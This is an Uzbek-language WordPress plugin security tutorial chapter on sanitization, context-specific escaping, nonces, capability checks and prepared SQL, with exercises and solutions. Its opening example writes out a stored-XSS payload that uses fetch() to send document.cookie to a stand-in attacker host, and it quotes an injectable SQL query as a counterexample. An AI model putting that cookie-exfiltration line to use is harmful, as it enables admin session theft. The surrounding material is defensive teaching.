12 β Xavfsizlik asoslari: nonce, sanitize, escape¶
β¬ οΈ Oldingi: 11 β Foydalanuvchi, rol va capabilities Β· π README Β· Keyingi: 13 β Shortcode'lar β‘οΈ
Bu bobda: WordPress plugin xavfsizligining uchta ustunini β kirishni tozalash (sanitize), chiqishni qochirish (escape) va harakatni himoyalash (nonce + capability) β chuqur o'rganasiz: oltin qoidani, har bir sanitize funksiyasini (
sanitize_text_field,sanitize_email,absint,sanitize_key,wp_kses/wp_kses_post,wp_unslash), kontekstga bog'liq escape funksiyalarini (esc_html,esc_attr,esc_url,esc_js,esc_textarea) va nonce oilasini (wp_create_nonce,wp_verify_nonce,check_admin_referer,check_ajax_referer,wp_nonce_field,wp_nonce_url) β barchasi rasmiy docs bilan tasdiqlangan imzolar bilan; oxirida XSS, CSRF, SQLi, IDOR va fayl yuklash zaifliklarini va ularning har biriga himoyani ko'rib chiqamiz.
Muammo: bitta unutilgan escape β butun saytni qulaydi¶
Tasavvur qiling: siz kitoblar-katalogi plugin'ida kitob muallifini shunday chiqardingiz:
Bir kun kimdir muallif maydoniga <script>fetch('https://yomon.uz/o\x67rla?c='+document.cookie)</script> yozadi. Endi shu kitob sahifasini ochgan har bir admin'ning cookie'si o'g'irlanadi β hujumchi admin sifatida saytga kiradi. Bu β saqlangan XSS (Stored Cross-Site Scripting), eng keng tarqalgan WordPress zaifligi. Sababi bitta: chiqishda escape qilinmagan.
WordPress'ning butun ekotizimi (40%+ internet saytlari) shu kabi xatolarga tayanadi. Yaxshi xabar: himoya uch oddiy odatdan iborat. Yomon xabar: ulardan birortasini unutsangiz, zaiflik tayyor.
π Bu bob β butun kitobning xavfsizlik poydevori. 09-bobda nonce'ni, 10-bobda $wpdb->prepare'ni allaqachon ishlatdik. Bu yerda hammasini bitta tizimga jamlaymiz va har bir funksiyani aniq tushuntiramiz. Keyingi barcha boblar (shortcode, AJAX, REST, blok) shu qoidalarga tayanadi.
Oltin qoida: uch ustun¶
WordPress xavfsizligining hammasini bitta jumlaga sig'dirsa bo'ladi:
INPUT'ni sanitize qil, OUTPUT'ni escape qil, harakatni nonce + capability bilan himoyala.
Bu uchligini doim shu tartibda eslang. Ma'lumot plugin'ingizga kiradi (forma, URL, REST, fayl) β uni sanitize qilasiz. Ma'lumot foydalanuvchiga chiqadi (HTML, atribut, URL) β uni escape qilasiz. Kimdir biror harakat so'raydi (saqlash, o'chirish) β nonce bilan "haqiqatan shu foydalanuvchimi?" va capability bilan "huquqi bormi?" deb tekshirasiz.
β οΈ Sanitize va escape β bir xil narsa emas. Boshlovchilar ko'p qilaydigan xato: kirishda escape qilish yoki "bir marta tozalaganman, chiqishda kerak emas" deb o'ylash. Yo'q. Sanitize β kirishni ishlatishga yaroqli holatga keltiradi (masalan email formatiga). Escape β chiqishni aniq kontekst uchun xavfsiz qiladi (HTML matnmi, atributmi, URLmi). Bir qiymat bazada toza saqlanib, chiqishda baribir escape qilinishi kerak β chunki uni qanday kontekstda ko'rsatishingizni saqlash payti bilmaydi.
1-ustun: SANITIZE (kirishni tozalash)¶
Sanitize β tashqaridan kelgan ishonchsiz ma'lumotni ishlatishdan oldin tozalash. "Tashqaridan" degani: $_POST, $_GET, $_REQUEST, $_COOKIE, REST so'rovi, yuklangan fayl nomi, hatto bazadagi eski ma'lumot ham (chunki uni boshqa plugin yozgan bo'lishi mumkin).
wp_unslash β har doim BIRINCHI qadam¶
WordPress tarixiy sabablarga ko'ra $_POST, $_GET, $_REQUEST, $_COOKIE ichidagi qiymatlarga avtomatik slesh (\) qo'shadi. Shuning uchun superglobal'dan o'qishda birinchi wp_unslash() qilasiz, keyin sanitize:
$xom = wp_unslash( $_POST['kitob_muallif'] ?? '' ); // slesh'lar olib tashlandi
$toza = sanitize_text_field( $xom ); // endi tozalaymiz
βΉοΈ Imzo (docs bilan tasdiqlangan): wp_unslash( string|array $value ): string|array. Massivni rekursiv unslash qiladi.
Asosiy sanitize funksiyalari¶
Har bir kirish turi uchun mos funksiya bor. Tasodifiy birini emas, aynan ma'lumot turiga to'g'ri kelganini tanlang:
// Bir qatorli matn (yangi qator, tag, ortiqcha bo'shliqlarni olib tashlaydi):
$ism = sanitize_text_field( wp_unslash( $_POST['ism'] ?? '' ) );
// Ko'p qatorli matn (yangi qatorlarni SAQLAYDI β textarea uchun):
$izoh = sanitize_textarea_field( wp_unslash( $_POST['izoh'] ?? '' ) );
// Email (yaroqsiz belgilarni olib tashlaydi; bo'sh string qaytishi mumkin):
$email = sanitize_email( wp_unslash( $_POST['email'] ?? '' ) );
// Butun, manfiy bo'lmagan son (absolute integer):
$yil = absint( $_POST['yil'] ?? 0 ); // 0 yoki musbat butun
// "Kalit" β faqat kichik harf, raqam, - va _ (slug, meta kalit, ID nomi):
$tab = sanitize_key( wp_unslash( $_GET['tab'] ?? '' ) );
// URL slug / sarlavhadan slug:
$slug = sanitize_title( wp_unslash( $_POST['slug'] ?? '' ) ); // "Mening Kitobim" -> "mening-kitobim"
π Imzolar (har biri developer.wordpress.org bilan tasdiqlangan):
| Funksiya | Imzo | Nima qiladi |
|---|---|---|
sanitize_text_field |
sanitize_text_field( string $str ): string |
Tag, yangi qator, ortiqcha bo'shliq olib tashlanadi |
sanitize_textarea_field |
sanitize_textarea_field( string $str ): string |
Yuqoridagidek, lekin yangi qator saqlanadi |
sanitize_email |
sanitize_email( string $email ): string |
Email formatidan tashqari belgilar olib tashlanadi |
sanitize_key |
sanitize_key( string $key ): string |
Faqat [a-z0-9_-] qoldiriladi, kichik harfga o'tkaziladi |
sanitize_title |
sanitize_title( string $title, ... ): string |
URL-friendly slug |
absint |
absint( mixed $maybeint ): int |
abs( (int) $val ) β manfiy bo'lmagan butun |
π‘ sanitize_key β nega $_GET['tab'] uchun zo'r? Admin sahifada tab nomi ko'pincha ?tab=sozlamalar kabi keladi va uni HTML id/class yoki switch ichida ishlatasiz. sanitize_key har qanday g'alati belgini (<, bo'shliq, nuqta) tashlab, faqat xavfsiz kalit qoldiradi.
HTML kerak bo'lganda: wp_kses va wp_kses_post¶
Ba'zan kirish HTML saqlashi kerak β masalan kitob tavsifi <strong>, <a>, <em> ishlatsin. Bu yerda sanitize_text_field ishlamaydi (u barcha tag'ni o'chiradi). Yechim β allowlist (oq ro'yxat): faqat siz ruxsat bergan tag'lar qoladi.
// Tayyor allowlist: post kontentidagi xavfsiz tag'lar (a, strong, em, ul, li, ...):
$tavsif = wp_kses_post( wp_unslash( $_POST['tavsif'] ?? '' ) );
// O'z allowlist'ingiz β faqat 3 ta tag:
$allowed = [
'a' => [ 'href' => [], 'title' => [] ],
'strong' => [],
'em' => [],
];
$qisqa = wp_kses( wp_unslash( $_POST['qisqa'] ?? '' ), $allowed );
βΉοΈ Imzolar (docs bilan tasdiqlangan):
wp_kses( string $content, array[]|string $allowed_html, string[] $allowed_protocols = array() ): stringwp_kses_post( string $content ): stringβwp_ksesning post-kontekstli qisqasi (post yozish huquqi bo'lganlar ishlatishi mumkin bo'lgan tag'lar).
β οΈ wp_kses "ataylab" sekin. U har bir tag va atributni tekshiradi. Shuning uchun uni faqat HTML haqiqatan kerak bo'lganda ishlating; oddiy matn uchun sanitize_text_field yengilroq va xavfsizroq. KSES = "Kses Strips Evil Scripts".
π wp_kses ham sanitize, ham (qisman) escape vazifasini bajaradi. U xavfli tag'larni (<script>, <iframe>, onclick= atributlari) tashlab, faqat allowlist'dagini qoldiradi β shuning uchun uni chiqishda ham ishonchli ishlatish mumkin (masalan echo wp_kses_post( $tavsif )).
2-ustun: ESCAPE (chiqishni KONTEKST bo'yicha qochirish)¶
Bu β butun bobning eng muhim tushunchasi. Escape β ma'lumotni foydalanuvchiga ko'rsatishdan oldin, aynan o'sha joyga (kontekstga) xavfsiz qilish. Bir xil qiymat HTML matnida, atributda, URL'da va JS ichida har xil escape talab qiladi. Noto'g'ri kontekst funksiyasi = zaiflik.
To'rt asosiy kontekst¶
$qiymat = get_post_meta( $post_id, '_kitob_muallif', true );
$url = get_post_meta( $post_id, '_kitob_havola', true );
// 1) HTML MATN ichida (teglar orasida):
echo '<p>Muallif: ' . esc_html( $qiymat ) . '</p>';
// 2) HTML ATRIBUT ichida (tirnoq ichida):
echo '<input type="text" value="' . esc_attr( $qiymat ) . '">';
// 3) URL (href, src):
echo '<a href="' . esc_url( $url ) . '">Havola</a>';
// 4) Inline JS ichida (string sifatida):
echo '<script>var muallif = "' . esc_js( $qiymat ) . '";</script>';
// 5) <textarea> ichida (atribut emas, alohida funksiya):
echo '<textarea>' . esc_textarea( $qiymat ) . '</textarea>';
// 6) Ruxsat etilgan HTML chiqarish (allowlist):
echo wp_kses_post( $tavsif );
π Nega har biri alohida? Har kontekstning "qochish" qoidasi boshqacha:
esc_htmlβ<,>,&,",'ni HTML entity'ga aylantiradi. Matn ichida tag yozib bo'lmaydi.esc_attrβ atribut tirnog'ini "yopishdan" himoya qiladi.esc_html'ga o'xshaydi, lekin atribut kontekstiga moslangan.value="..."ichidaesc_htmlemas,esc_attrishlating.esc_urlβ faqat ruxsat etilgan protokollarni (http,https,mailto...) qoldiradi;javascript:URL'ni bloklaydi.&ni&ga aylantiradi.esc_jsβ JS string ichidagi tirnoq va yangi qatorni qochiradi (faqat'...'/"..."ichida ishlatiladi).esc_textareaβ<textarea>tarkibi uchun (atribut emas).
β οΈ Eng keng tarqalgan xato β kontekstni adashtirish. value="<?php echo esc_html( $x ); ?>" β bu noto'g'ri, atribut uchun esc_attr kerak. Garchi esc_html ham " ni qochirsa-da, atributda doim esc_attr ishlating; aks holda kelajakda kimdir esc_html'siz qiymatni ko'chirib, zaiflik kiritadi. Kontekst = funksiya, qoidasi qat'iy.
βΉοΈ Imzolar (docs bilan tasdiqlangan):
esc_html( string $text ): stringesc_attr( string $text ): stringesc_url( string $url, string[] $protocols = null, string $_context = 'display' ): stringesc_js( string $text ): stringesc_textarea( string $text ): string
π‘ esc_url ning "raw" varianti. Chiqishda esc_url(), bazaga saqlashda esa esc_url_raw() (yangi nom sanitize_url()). Farqi: esc_url ko'rsatish uchun & ni & ga aylantiradi (HTML uchun yaxshi, baza uchun yomon); sanitize_url/esc_url_raw esa tozalaydi lekin HTML entity'ga aylantirmaydi.
Escape + i18n birga¶
Plugin matnlari tarjima qilinadi (__(), _e() β 24-bobda chuqur). Tarjima ham foydalanuvchiga chiqadi, demak escape kerak. WordPress'da escape va i18n birlashtirilgan funksiyalar bor:
// __() o'rniga (qaytaradi):
echo esc_html__( 'Muallif', 'kitoblar-katalogi' );
// _e() o'rniga (to'g'ridan-to'g'ri echo qiladi):
esc_html_e( 'Kitob tafsilotlari', 'kitoblar-katalogi' );
// Atribut uchun:
echo '<input placeholder="' . esc_attr__( 'Ism kiriting', 'kitoblar-katalogi' ) . '">';
π _e() xavfsizmi? _e() shunchaki tarjimani echo qiladi β escape qilmaydi. Tarjima fayllari ham buzilishi mumkin (yoki o'zgaruvchi qo'shilsa). Shuning uchun zamonaviy idiom: matn chiqarganda doim esc_html_e() / esc_html__() (yoki atribut uchun esc_attr_e() / esc_attr__()). Toza _e() ni faqat siz to'liq nazorat qiladigan, o'zgaruvchisiz statik matnda qoldiring.
3-ustun: NONCE + CAPABILITY (harakatni himoyalash)¶
Sanitize va escape ma'lumotning mazmunini himoyalaydi. Lekin "kim va qaysi sharoitda bu harakatni so'radi?" degan savol qoladi. Bunga ikki javob bor: nonce (so'rov haqiqiyligini tasdiqlaydi) va capability (foydalanuvchi huquqini tekshiradi).
Nonce nima va nega kerak (CSRF himoyasi)¶
Nonce ("number used once") β har bir harakatga, foydalanuvchiga va vaqtga bog'langan qisqa token. Maqsadi β CSRF (Cross-Site Request Forgery) hujumini to'sish.
CSRF qanday ishlaydi: siz admin sifatida saytingizga login bo'lgansiz. Boshqa tabda zararli sayt ochasiz. U sahifa yashirincha sizning saytingizga so'rov yuboradi β masalan ?action=kitob_ochir&id=5. Brauzer cookie'ni avtomatik biriktiradi, server "login bo'lgan admin so'radi" deb o'ylab kitobni o'chiradi. Siz hatto sezmaysiz.
Nonce buni to'sadi: haqiqiy forma/havola nonce token bilan keladi. Zararli sayt sizning amaldagi nonce'ingizni bila olmaydi (u har foydalanuvchi va harakat uchun boshqacha va vaqt bilan cheklangan). Token bo'lmasa yoki mos kelmasa β server rad etadi.
β οΈ Nonce β to'liq CSRF token emas, lekin WordPress kontekstida yetarli. U vaqt bilan cheklangan (standart 24 soat) va foydalanuvchi sessiyasiga bog'langan. WordPress'da nonce yagona standart CSRF himoyasi β hammasini shu bilan qiling.
Nonce hayot sikli: yaratish va tekshirish¶
// 1) FORMADA β yashirin maydon (eng ko'p ishlatiladigan):
wp_nonce_field( 'kitkat_kitob_ochir', 'kitkat_nonce' );
// ^ action (kontekst) ^ maydon nomi
// 2) URL'da β havolaga nonce qo'shish (o'chirish havolasi va h.k.):
$havola = wp_nonce_url(
admin_url( 'admin-post.php?action=kitkat_ochir&id=' . $id ),
'kitkat_kitob_ochir', // action
'kitkat_nonce' // nom
);
// 3) Qo'lda token yaratish (AJAX/REST'ga uzatish uchun):
$token = wp_create_nonce( 'kitkat_kitob_ochir' );
// --- TEKSHIRISH (server tomonda) ---
// 4a) Admin forma/havola uchun (yaroqsiz bo'lsa O'ZI die qiladi):
check_admin_referer( 'kitkat_kitob_ochir', 'kitkat_nonce' );
// 4b) Qo'lda tekshirish (jim return qilmoqchi bo'lsangiz):
$nonce = sanitize_key( wp_unslash( $_POST['kitkat_nonce'] ?? '' ) );
if ( ! wp_verify_nonce( $nonce, 'kitkat_kitob_ochir' ) ) {
return; // yoki wp_die()
}
// 4c) AJAX uchun:
check_ajax_referer( 'kitkat_kitob_ochir', 'kitkat_nonce' );
π Imzolar (har biri developer.wordpress.org bilan tasdiqlangan):
| Funksiya | Imzo |
|---|---|
wp_create_nonce |
wp_create_nonce( string|int $action = -1 ): string |
wp_verify_nonce |
wp_verify_nonce( string $nonce, string|int $action = -1 ): int|false |
wp_nonce_field |
wp_nonce_field( int|string $action = -1, string $name = '_wpnonce', bool $referer = true, bool $display = true ): string |
wp_nonce_url |
wp_nonce_url( string $actionurl, int|string $action = -1, string $name = '_wpnonce' ): string |
check_admin_referer |
check_admin_referer( int|string $action = -1, string $query_arg = '_wpnonce' ): int|false |
check_ajax_referer |
check_ajax_referer( int|string $action = -1, false|string $query_arg = false, bool $stop = true ): int|false |
π‘ wp_verify_nonce qaytaradi: 1 (0-12 soat oldin yaratilgan), 2 (12-24 soat), false (yaroqsiz). Odatda faqat false'ni tekshirasiz.
β οΈ check_admin_referer va check_ajax_referer yaroqsiz nonce'da O'ZI to'xtatadi (wp_die/die). Agar "jim qaytish" (return) kerak bo'lsa β wp_verify_nonce + if ishlating. 09-bobda meta box saqlashda aynan shuni qildik.
Capability: nonce yetarli emas¶
Nonce "so'rov haqiqiy formadan keldimi?" deb tekshiradi. Lekin bu foydalanuvchining huquqi bormi? β alohida savol. Login bo'lgan oddiy obunachi ham haqiqiy nonce ola oladi, lekin u kitobni o'chira olmasligi kerak.
// HAR sezgir harakatdan oldin β capability tekshiruvi (11-bob):
if ( ! current_user_can( 'delete_post', $post_id ) ) {
wp_die( esc_html__( 'Sizda bu amalga ruxsat yo\'q.', 'kitoblar-katalogi' ) );
}
π Nonce va capability β birga, alohida emas. Nonce CSRF'dan, capability ruxsatsiz kirishdan himoyalaydi. Bittasi ikkinchisini almashtira olmaydi. To'liq sezgir harakat doim nonce + capability + sanitize bilan o'raladi.
To'liq misol: "kitobni o'chirish" havolasi¶
kitoblar-katalogi plugin'ida admin'dan kitobni o'chirish havolasini xavfsiz quramiz:
namespace Oqil\KitobKatalog;
// Havolani chiqaramiz (admin ro'yxatda):
function kitkat_ochirish_havolasi( int $kitob_id ): string {
$url = wp_nonce_url(
admin_url( 'admin-post.php?action=kitkat_kitob_ochir&kitob_id=' . $kitob_id ),
'kitkat_kitob_ochir_' . $kitob_id, // action ID bilan β har kitobga boshqa nonce
'kitkat_nonce'
);
return '<a href="' . esc_url( $url ) . '">'
. esc_html__( 'O\'chirish', 'kitoblar-katalogi' ) . '</a>';
}
// So'rovni qayta ishlaymiz:
add_action( 'admin_post_kitkat_kitob_ochir', __NAMESPACE__ . '\\kitkat_ochir_handler' );
function kitkat_ochir_handler(): void {
$kitob_id = absint( $_GET['kitob_id'] ?? 0 );
// 1) Nonce β CSRF himoyasi (yaroqsiz bo'lsa check_admin_referer o'zi die qiladi)
check_admin_referer( 'kitkat_kitob_ochir_' . $kitob_id, 'kitkat_nonce' );
// 2) Capability β huquq tekshiruvi
if ( ! current_user_can( 'delete_post', $kitob_id ) ) {
wp_die( esc_html__( 'Ruxsat yo\'q.', 'kitoblar-katalogi' ) );
}
// 3) Harakat β endi xavfsiz
wp_delete_post( $kitob_id, true );
// 4) Orqaga yo'naltirish (escape qilingan URL)
wp_safe_redirect( admin_url( 'edit.php?post_type=kitob&kitkat_ochirildi=1' ) );
exit;
}
βΉοΈ O'z saytingizda sinab ko'ring. Bu kod sintaktik to'g'ri va docs bilan tasdiqlangan, lekin admin-post.php oqimi, o'chirish va yo'naltirish ishlab turgan WordPress saytini talab qiladi (02-bobdagi wp-env). Plugin'ni aktivatsiya qilib, kitob ro'yxatida havolani bosib sinang. wp_safe_redirect β wp_redirect'ning xavfsiz varianti, faqat ruxsat etilgan host'larga yo'naltiradi (ochiq-redirect zaifligini to'sadi).
SQL: $wpdb->prepare (10-bobni eslang)¶
To'g'ridan-to'g'ri SQL yozsangiz, foydalanuvchi kiritmasini hech qachon so'rovga yopishtirmaslik kerak β bu SQL injection (SQLi). Yechim β $wpdb->prepare bilan parametrlash (10-bobda chuqur ko'rildi):
global $wpdb;
// β HECH QACHON BUNDAY QILMANG β SQLi:
// $wpdb->get_results( "SELECT * FROM {$wpdb->posts} WHERE post_title = '$ism'" );
// β
To'g'ri β prepare bilan parametrlash:
$natija = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->posts} WHERE post_title = %s AND post_status = %s",
$ism, // %s β string sifatida xavfsiz qochiriladi
'publish'
)
);
π prepare joy egalari: %s (string), %d (butun son), %f (o'nli son), %i (identifikator β ustun/jadval nomi, yangi). Foydalanuvchi qiymati doim joy egasi orqali o'tadi, hech qachon to'g'ridan-to'g'ri stringga emas. (Imzo va batafsil tushuntirish 10-bobda; bu yerda faqat eslatma.)
Umumiy zaifliklar va himoya (qisqa karta)¶
Endi yuqoridagi uch ustunni real hujumlarga bog'laymiz. Har bir zaiflikka β bitta himoya odati:
| Zaiflik | Nima | Himoya |
|---|---|---|
| XSS (Cross-Site Scripting) | Hujumchi sahifaga JS qistiradi (cookie o'g'irlash, sahifani o'zgartirish) | Chiqishda escape (esc_html/esc_attr/esc_url); HTML kerak bo'lsa wp_kses_post |
| CSRF (Cross-Site Request Forgery) | Soxta sayt sizning nomingizdan harakat so'raydi | Harakatlarda nonce (wp_nonce_field + check_admin_referer) |
| SQLi (SQL Injection) | Foydalanuvchi SQL so'rovini buzadi/o'qiydi | $wpdb->prepare bilan parametrlash |
| IDOR (Insecure Direct Object Reference) | URL'dagi ID'ni o'zgartirib, begona obyektga kirish (?id=5 -> ?id=6) |
Capability + egalik tekshiruvi (current_user_can( 'edit_post', $id )) |
| Fayl yuklash | Zararli fayl (PHP, SVG-XSS) yuklanadi | Tur/kengaytma tekshiruvi (wp_check_filetype_and_ext), wp_handle_upload ishlatish, bajariladigan turlarni rad etish |
β οΈ IDOR β eng ko'p e'tibordan chetda qoladigan zaiflik. Nonce CSRF'dan himoya qiladi, lekin login bo'lgan foydalanuvchi o'z nonce'si bilan boshqa kishining obyektini so'rashi mumkin. current_user_can( 'edit_post', $post_id ) aynan shu $post_id uchun huquqni tekshiradi β shuning uchun capability'ga doim konkret obyekt ID'sini uzating, faqat umumiy 'edit_posts' emas.
π‘ Fayl yuklashda eng xavfsiz yo'l β WordPress'ning wp_handle_upload() va Media kutubxonasidan foydalanish. Ular MIME tur, kengaytma va ruxsatlarni o'zi tekshiradi. O'z qo'lingiz bilan move_uploaded_file qilsangiz β kengaytma, MIME va bajariluvchanlikni o'zingiz tekshirishingiz kerak; xato qilish oson.
Hammasi birga: xavfsiz forma qayta ishlash naqshi¶
Plugin'ingizdagi har bir forma-qayta-ishlash funksiyasi shu naqshga o'xshashi kerak β eslab qolingan tartib:
namespace Oqil\KitobKatalog;
function kitkat_sozlama_saqla(): void {
// 1) NONCE β so'rov haqiqiyligini tasdiqla (CSRF)
check_admin_referer( 'kitkat_sozlama', 'kitkat_sozlama_nonce' );
// 2) CAPABILITY β foydalanuvchi huquqini tekshir
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( esc_html__( 'Ruxsat yo\'q.', 'kitoblar-katalogi' ) );
}
// 3) SANITIZE β har kirishni mos funksiya bilan tozala (unslash birinchi)
$nom = sanitize_text_field( wp_unslash( $_POST['kitkat_nom'] ?? '' ) );
$email = sanitize_email( wp_unslash( $_POST['kitkat_email'] ?? '' ) );
$soni = absint( $_POST['kitkat_soni'] ?? 0 );
// 4) SAQLASH β endi xavfsiz
update_option( 'kitkat_sozlamalar', [
'nom' => $nom,
'email' => $email,
'soni' => $soni,
] );
// (Keyinroq chiqishda β ESCAPE: echo esc_html( $nom ); esc_attr( $email ); ...)
}
π Tartibni yodda tuting: NONCE -> CAPABILITY -> SANITIZE -> harakat -> (chiqishda) ESCAPE. Og'ir ishni (sanitize, saqlash) faqat xavfsizlik darvozalaridan o'tgandan keyin bajaring. Bu naqsh meta box (09-bob), Settings API (06-bob), AJAX (15-bob) va REST (16-bob)'da takrorlanadi.
Xulosa¶
- Oltin qoida: INPUT'ni sanitize, OUTPUT'ni escape, harakatni nonce + capability bilan himoyala. Bu uch ustun butun plugin xavfsizligini ko'taradi.
- Sanitize (kirish):
sanitize_text_field,sanitize_textarea_field,sanitize_email,absint,sanitize_key,sanitize_title; HTML uchunwp_kses/wp_kses_post. Superglobal'dan o'qishdawp_unslashbirinchi. - Escape (chiqish, KONTEKST bo'yicha): matn=
esc_html, atribut=esc_attr, URL=esc_url, inline JS=esc_js, textarea=esc_textarea, ruxsatli HTML=wp_kses_post. Noto'g'ri kontekst = zaiflik. i18n bilanesc_html__/esc_html_e. - Nonce (CSRF):
wp_nonce_field/wp_nonce_url/wp_create_nonceyaratadi;wp_verify_nonce(jim) yokicheck_admin_referer/check_ajax_referer(o'zi die) tekshiradi. - Capability: har sezgir harakatdan oldin
current_user_can( $cap, $obyekt_id )β IDOR'dan himoya uchun konkret ID bilan. - SQL: har doim
$wpdb->prepare(%s/%d/%f/%i). - Zaifliklar: XSS->escape, CSRF->nonce, SQLi->prepare, IDOR->capability+ID, fayl yuklash->
wp_handle_upload/tur tekshiruvi.
Keyingi bobda shortcode'larni o'rganamiz β va u yerda chiqishni escape qilish (esc_html/esc_attr) hamda shortcode atributlarini sanitize qilish aynan shu bobdagi qoidalarga tayanadi.
12-bob mashqlari¶
Quyidagi mashqlar
kitoblar-katalogiplugini ustida ishlaydi (namespaceOqil\KitobKatalog, prefikskitkat_, CPTkitob). Sof-PHP mashqlarniphpbilan, WP kodini esa o'z saytingizda sinab ko'ring.
Oson¶
- (Oson) Oltin qoidani bir jumlada ayting. "Sanitize" va "escape" qaysi yo'nalishda (kirish/chiqish) ishlaydi?
- (Oson) Quyidagi qatorda zaiflik bor β toping va to'g'rilang:
echo '<p>' . get_post_meta( $id, '_kitob_muallif', true ) . '</p>'; - (Oson)
value="..."atributiga qiymat qo'yyapsiz. Qaysi escape funksiyasi to'g'ri:esc_htmlyokiesc_attr? Nega? - (Oson)
$_POST['ism']dan matn o'qiyapsiz. To'g'ri tartibni yozing (qaysi funksiya birinchi, qaysi keyin?). - (Oson)
wp_create_noncevawp_verify_nonceqaysi hujum turidan himoya qiladi? Nima uchun nonce'ning o'zi capability tekshiruvini almashtira olmaydi? - (Oson)
?tab=...GET parametrini admin sahifada tab kaliti sifatida ishlatyapsiz. Qaysi sanitize funksiyasi eng mos?
O'rta¶
- (O'rta) Bitta
$muallifqiymatini to'rt kontekstda to'g'ri escape qiling: (a) HTML paragraf, (b) input value atributi, (c)hrefURL, (d) inline<script>string. Har biriga mos funksiyani yozing.
Yechim
$muallif = get_post_meta( $post_id, '_kitob_muallif', true );
$url = get_post_meta( $post_id, '_kitob_havola', true );
// (a) HTML matn:
echo '<p>' . esc_html( $muallif ) . '</p>';
// (b) atribut:
echo '<input type="text" value="' . esc_attr( $muallif ) . '">';
// (c) URL:
echo '<a href="' . esc_url( $url ) . '">Sayt</a>';
// (d) inline JS string:
echo '<script>var m = "' . esc_js( $muallif ) . '";</script>';
Har kontekstning qochish qoidasi boshqa: matn=esc_html, atribut=esc_attr, URL=esc_url (javascript: protokolini bloklaydi), JS string=esc_js. Funksiyani kontekstga qarab tanlanadi, "har doim esc_html" emas.
- (O'rta) Kitob tavsifi maydoni
<strong>,<em>va<a href>ga ruxsat berishi, lekin<script>ni rad etishi kerak. Kirishni qanday sanitize qilasiz? Hamwp_kses_post, ham o'z allowlist varianti bilan ko'rsating.
Yechim
// Variant A β tayyor post allowlist (a, strong, em, ul, li, blockquote, ...):
$tavsif = wp_kses_post( wp_unslash( $_POST['kitob_tavsif'] ?? '' ) );
// Variant B β faqat 3 ta tag:
$allowed = [
'strong' => [],
'em' => [],
'a' => [ 'href' => [], 'title' => [] ],
];
$tavsif = wp_kses( wp_unslash( $_POST['kitob_tavsif'] ?? '' ), $allowed );
sanitize_text_field bu yerda noto'g'ri β u barcha tag'ni o'chiradi. wp_kses/wp_kses_post allowlist'dagi tag'ni qoldirib, <script> va onclick= kabilarni tashlaydi. Chiqishda ham echo wp_kses_post( $tavsif ); bilan chiqarish mumkin.
- (O'rta) Quyidagi forma qayta ishlash funksiyasida ikkita xavfsizlik nuqsoni bor. Toping va to'g'rilangan kodni yozing:
Yechim
Nuqsonlar: (1) nonce yo'q (CSRF), (2) capability yo'q, (3) sanitize/unslash yo'q. (Aslida uchta.)
function kitkat_saqla(): void {
check_admin_referer( 'kitkat_sozlama', 'kitkat_sozlama_nonce' ); // nonce
if ( ! current_user_can( 'manage_options' ) ) { // capability
wp_die( esc_html__( 'Ruxsat yo\'q.', 'kitoblar-katalogi' ) );
}
$nom = sanitize_text_field( wp_unslash( $_POST['nom'] ?? '' ) ); // sanitize
update_option( 'kitkat_nom', $nom );
}
Formada esa wp_nonce_field( 'kitkat_sozlama', 'kitkat_sozlama_nonce' ); bo'lishi shart.
- (O'rta)
wp_create_noncebilan token yaratib, uni AJAX uchun JS'ga uzatish va serverdacheck_ajax_refererbilan tekshirish oqimini (faqat skelet) yozing.
Yechim
// Server: tokenni skript ma'lumotiga uzatamiz (enqueue paytida, 14-bob)
$token = wp_create_nonce( 'kitkat_ajax' );
wp_add_inline_script(
'kitkat-frontend',
'window.kitkatNonce = ' . wp_json_encode( $token ) . ';',
'before'
);
// AJAX handler:
add_action( 'wp_ajax_kitkat_amal', 'kitkat_ajax_handler' );
function kitkat_ajax_handler(): void {
check_ajax_referer( 'kitkat_ajax', 'nonce' ); // yaroqsiz bo'lsa o'zi -1 bilan die
if ( ! current_user_can( 'edit_posts' ) ) {
wp_send_json_error( 'ruxsat yo\'q', 403 );
}
// ... harakat ...
wp_send_json_success();
}
JS so'rovida nonce: window.kitkatNonce yuboriladi. check_ajax_referer $query_arg='nonce' ni $_REQUEST dan oladi. (AJAX to'liq β 15-bob.)
- (O'rta)
absintva(int)farqini ayting.absint('-12abc')nima qaytaradi? Nega yil/ID kabi maydonlar uchunabsintafzal?
Yechim
absint( $x ) = abs( (int) $x ) β har doim manfiy bo'lmagan butun qaytaradi. (int) esa manfiy bo'lishi mumkin.
(int) '-12abc' PHP qoidasi bo'yicha boshidagi sonni oladi (-12). absint uni musbatga aylantiradi. ID, yil, son kabi maydonlar manfiy bo'lmasligi kerakligi uchun absint mantiqan to'g'ri va xavfsizroq.
- (O'rta) IDOR nima?
current_user_can( 'edit_posts' )vacurrent_user_can( 'edit_post', $post_id )orasidagi farq qanday qilib IDOR'dan himoya qiladi?
Yechim
IDOR β foydalanuvchi URL'dagi obyekt ID'sini o'zgartirib (?id=5 -> ?id=6), o'ziga tegishli bo'lmagan obyektga kirishi. current_user_can( 'edit_posts' ) faqat "umuman post tahrirlay oladimi?" deb tekshiradi β id=6 begona bo'lsa ham o'tib ketadi. current_user_can( 'edit_post', $post_id ) esa aynan shu post uchun huquqni tekshiradi (egalik/rol hisobga olinadi). Shuning uchun konkret obyekt bilan ishlaganda doim ID'li meta-capability ishlatiladi.
Qiyin¶
- (Qiyin) Sof-PHP
kitkat_sanitize_yil( $xom )funksiyasini yozing: kiritmani butun songa aylantirsin, 1450 dan 2100 gacha bo'lsa qaytarsin, aks holda 0. WP'sizphpbilan ishlasin va bir nechta test holatini chop etsin.
Yechim
function kitkat_sanitize_yil( mixed $xom ): int {
$yil = (int) $xom;
return ( $yil >= 1450 && $yil <= 2100 ) ? $yil : 0;
}
var_dump( kitkat_sanitize_yil( '2026' ) ); // int(2026)
var_dump( kitkat_sanitize_yil( '99' ) ); // int(0) - juda kichik
var_dump( kitkat_sanitize_yil( '3000' ) ); // int(0) - juda katta
var_dump( kitkat_sanitize_yil( '2010abc' ) ); // int(2010)
var_dump( kitkat_sanitize_yil( '<script>' ) );// int(0)
Bu funksiya WordPress'siz ishlaydi va diapazon tekshiruvini qo'shadi (faqat tip emas, mantiqiy chegara ham β bu kuchli sanitize). Meta box saqlashda: update_post_meta( $id, '_kitob_yil', kitkat_sanitize_yil( $_POST['kitob_yil'] ?? 0 ) );.
- (Qiyin) "Kitobni o'chirish" havolasini to'liq xavfsiz quring:
